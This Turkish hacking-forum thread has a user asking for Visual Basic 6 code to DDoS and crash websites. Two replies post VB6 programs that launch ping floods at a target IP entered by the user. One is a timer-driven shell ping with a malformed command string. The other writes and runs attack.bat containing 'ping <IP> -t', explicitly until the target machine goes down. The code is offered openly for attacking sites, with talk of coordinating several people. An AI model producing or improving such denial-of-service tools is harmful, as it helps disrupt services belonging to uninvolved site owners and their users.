VB6 ddos attacker yapımı

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
T

traxy

Üye
6 Tem 2012
166
0
yardım edin vb6 da ddos yapmak istiyorum kodları ve tımerin falan özelliklerini yazar mısınız daha önce bir konuda şöyle yapın falan yapın demiş ama güçlü değil sadecce indexi yavaşlatıyor güçlü bir şey yapmam lazım yardımı dokunan herkese rep:mml
 
Son düzenleme:
Tarihe göre sırala Oylara göre sırala
L

LyVio

Uzman üye
30 Ağu 2010
1,369
1
Andromeda
1 Timer
2 Buton
2 Textbox
ekle şunları yaz sonra

Kod: 
Private Sub Command1_Click()
Timer1.Enabled = True

End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
End Sub

Private Sub Form_Load()
Timer1.Interval = Text2.Text

End Sub

Private Sub Timer1_Timer()
Shell ("ping " + (Text1.Text) + "-1" + Text2.Text)
End Sub

 
Oyla 0 Downvote
T

traxy

Üye
6 Tem 2012
166
0
sağol teşekkürünü verdim ama güçlü olur mu diğer konularda verilenler çok yavaş ve siteyi çökertecek kadar güçlü değil benim yaptığım programla 10 kişi gelsek ezik bir siteyi anca çökertiriz:trl
 
Son düzenleme:
Oyla 0 Downvote
T

traxy

Üye
6 Tem 2012
166
0
videolu anlatımı verdin arkadaşımm yardımcı oldun da şimdi kodları da yazsaydın neyse teşekkürünüzü verdim
// bardizfire yararı olur o yüzden uzman hackerlar çoklu saldırı yapın diyor:inv
 
Son düzenleme:
Oyla 0 Downvote
FromSky

FromSky

Uzman üye
14 Eyl 2011
1,385
3
34
TÜRKİYE
BUTON İSİM VE RENK DEĞİŞTİRMELERİ KODLARI EKLEDİKTEN SONRA YAP
Visual basic ile dos atak yapabilirisiniz.tabi bunu direk dostan da yapabilirisiniz ama maksat program yazmak diyorsanız benim gibi bo kodlar işinizi görebilir .bu kodları daha da geliştirerek daha iyi bi program yazmak sizin elinizde.(Mesala döngü koyarak istediğiniz oranda atakla işlemini yaptırabilirsiniz)

Amaçing atılan makina kapanıncaya kadar ping atmak. Hiçbir şeyi silme ek yazılar falan kalsın koyala sen

PROGRAM İÇİN GEREKLİ MALZEMELER;
1 Adet winshock nesnesi(İnternet bağlantısını kontol etmek içIn)
1 Adet textbox nesnesi(ping adersini girmek içiin)
1 Adet commandbuton(komut vermek içIn)

Kod:



Option Explicit

Private Sub Command1_Click()
atakla
End Sub

Private Sub Command3_Click()
Form1.Height = 3360

End Sub

Private Sub Form_Load()
Text1.Text=""'Textimizi boşaltıyoruz
Text1.MaxLength=15 'İp Adresici içIn maximum 15 karakter girilmesini sağlıyoruz
If OnTheNet Then'İnternet bağlantısını KOntrol ettiyoruz
Form1.Caption = "Dos Attack v1.1"
Else
Form1.Caption = "İnternet Bağlantısı Yok...!"
End If

End Sub

'İnternet bağlantısını Kontrol içIn fonksiyon
Private Function OnTheNet() As Boolean
Winsock1.Close
Winsock1.Bind
If Winsock1.LocalIP = "" Then
OnTheNet = False
Else
OnTheNet = True
End If
End Function

'Textbox nesnesine sadece rakamlar ve nokta girilebilir kuralını koyuyoruz
Sub Text1_KeyPress(KeyAscii As Integer)
Dim N$
N = "0123456789."
If KeyAscii <> 8 Then
If InStr(N, Chr(KeyAscii)) = 0 Then
Beep
KeyAscii = 0
Exit Sub
End If
End If
End Sub

'oluşturduğumuz atakla fonksiyonu yaptığı işlem;
'Exe dosyanın bulunduğu yere atakla adında bat dosyası oluşturuyor
'Programımızdan aldığı ip adresini ana makina kapanıncaya kadar işletiyor

Sub atakla()
Dim a, b, c, d, e As Integer

a = "attack.bat"
b = "ping"
c = Text1.Text
d = " -t"

Open a For Output As #1
Print #1, b, c + d
Close #1
Shell ("attack.bat")
End Sub
Bu kadar
 
Son düzenleme:
Oyla 0 Downvote
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.